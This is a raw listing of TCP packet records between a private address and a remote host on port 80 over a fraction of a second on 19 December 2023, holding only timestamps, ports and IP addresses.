Dec 19, 2023 03:22:29.157594919 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.157649994 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.157696009 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.157742023 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.157814026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.157892942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.157998085 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.158030033 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.158067942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.158552885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.158643007 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.158663988 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.158694029 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.158744097 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.158792973 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.158848047 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.158875942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.158912897 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.158962011 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.158982038 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.159066916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.159106970 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.159106970 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.159126043 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.159138918 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.159216881 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.159250975 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.159329891 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.159574986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.159646988 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.159651041 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.159749031 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.159877062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.160098076 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.160152912 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.160176039 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.160203934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.160383940 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.160392046 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.160465956 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.160537958 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.160550117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.160614967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.160686016 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.160736084 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.160774946 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.160866976 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.160913944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.160927057 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.160962105 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.160973072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.161039114 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.161061049 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.161087036 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.161132097 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.161140919 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.161218882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.161284924 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.161319017 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.161319017 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.161370039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.161438942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.161509037 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.161536932 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.162210941 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.162270069 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.162277937 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.162354946 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.162405968 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.162446022 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.162472010 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.162519932 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.162532091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.162570000 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.162570000 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.162600040 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.162647963 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.162807941 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.162880898 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.163019896 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.163055897 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.163109064 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.163269043 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.163314104 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.163366079 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.163438082 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.163454056 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.163491011 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.163516998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.163660049 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.163731098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.163732052 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.163825035 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.163866043 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.163897991 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.163942099 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.163999081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.164067984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.164119959 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.164124966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.165393114 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.165471077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.165523052 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.165524006 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.165596962 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.165649891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.165657997 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.165704012 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.166151047 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.166167021 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.166217089 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.166237116 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.166320086 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.166363955 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.166387081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.166454077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.166560888 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.166615963 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.166671991 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.166744947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.166793108 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.166987896 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.167026997 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.167032957 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.167105913 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.167207003 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.167565107 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.167622089 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.167684078 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.167716980 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.167778969 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.167907000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.167979956 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.167999029 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.168077946 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.168119907 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.168189049 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.168261051 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.168267965 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.168406963 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.168447971 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.168520927 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.168679953 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.168741941 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.168745995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.168746948 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.168817043 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.168854952 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.168872118 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.168906927 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.168917894 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.168935061 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.168952942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.168997049 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.169008017 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.169053078 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.169070005 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.169089079 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.169106007 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.169121981 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.169121981 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.169152021 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.169387102 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.169403076 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.169434071 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.169462919 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.169476032 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.169482946 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.169490099 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.169513941 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.169538021 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.169660091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.169672012 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.169682980 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.169699907 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.169723988 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.170304060 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.170332909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.170358896 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.170367002 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.170413971 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.170797110 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.170902014 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.170918941 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.170953989 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.170964956 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.170994043 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.171075106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.171082973 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.171128988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.171144962 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.171180964 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.171180964 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.171195984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.171214104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.171252012 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.171291113 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.171293974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.171978951 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.171994925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.172022104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.172069073 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.172082901 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.172113895 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.172116041 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.172137022 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.172189951 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.172207117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.172224998 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.172224998 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.172251940 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.172255039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.172274113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.172327995 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.172472954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.172533989 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.172545910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.172590017 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.172955036 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.173006058 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.173036098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.173069000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.173105955 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.173120975 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.173121929 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.173140049 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.173177004 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.173538923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.173600912 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.173629999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.173690081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.173737049 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.173754930 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.173783064 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.173842907 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.173847914 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.173897028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.173952103 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.173995018 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.174144030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.174268961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.174318075 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.174386024 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.174438000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.174478054 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.174505949 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.174549103 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.174612045 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.174678087 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.174784899 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.174834967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.175004005 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.175045013 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.175057888 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.175132990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.175268888 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.175333977 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.175354004 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.175909042 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.175925016 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.175959110 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.176006079 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.176007032 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.176062107 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.176111937 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.176155090 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.176166058 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.176202059 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.176223040 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.176246881 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.176285028 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.176320076 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.176378012 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.176393032 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.176439047 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.176451921 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.176537037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.176603079 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.176620007 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.176682949 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.176748037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.176841974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.176891088 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.176918030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.177102089 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.177162886 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.177175999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.177216053 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.177277088 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.177311897 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.177320004 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.177378893 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.177567959 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.177669048 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.177741051 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.177761078 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.177828074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.177879095 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.177969933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.178042889 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.178098917 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.178124905 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.178145885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.178206921 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.178255081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.178266048 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.178390026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.178462982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.178476095 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.178488016 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.178507090 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.178781986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.178839922 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.178879023 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.178888083 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.178940058 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.178956985 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.178992033 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.178992033 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.179034948 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.179250956 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.179294109 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.179321051 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.179372072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.179411888 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.179548979 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.179687977 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.179815054 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.179868937 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.179975986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.180054903 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.180196047 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.180344105 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.180386066 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.180419922 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.180460930 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.180500031 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.180541992 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.180627108 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.180676937 CET	49738	80	192.168.2.4	91.215.85.17
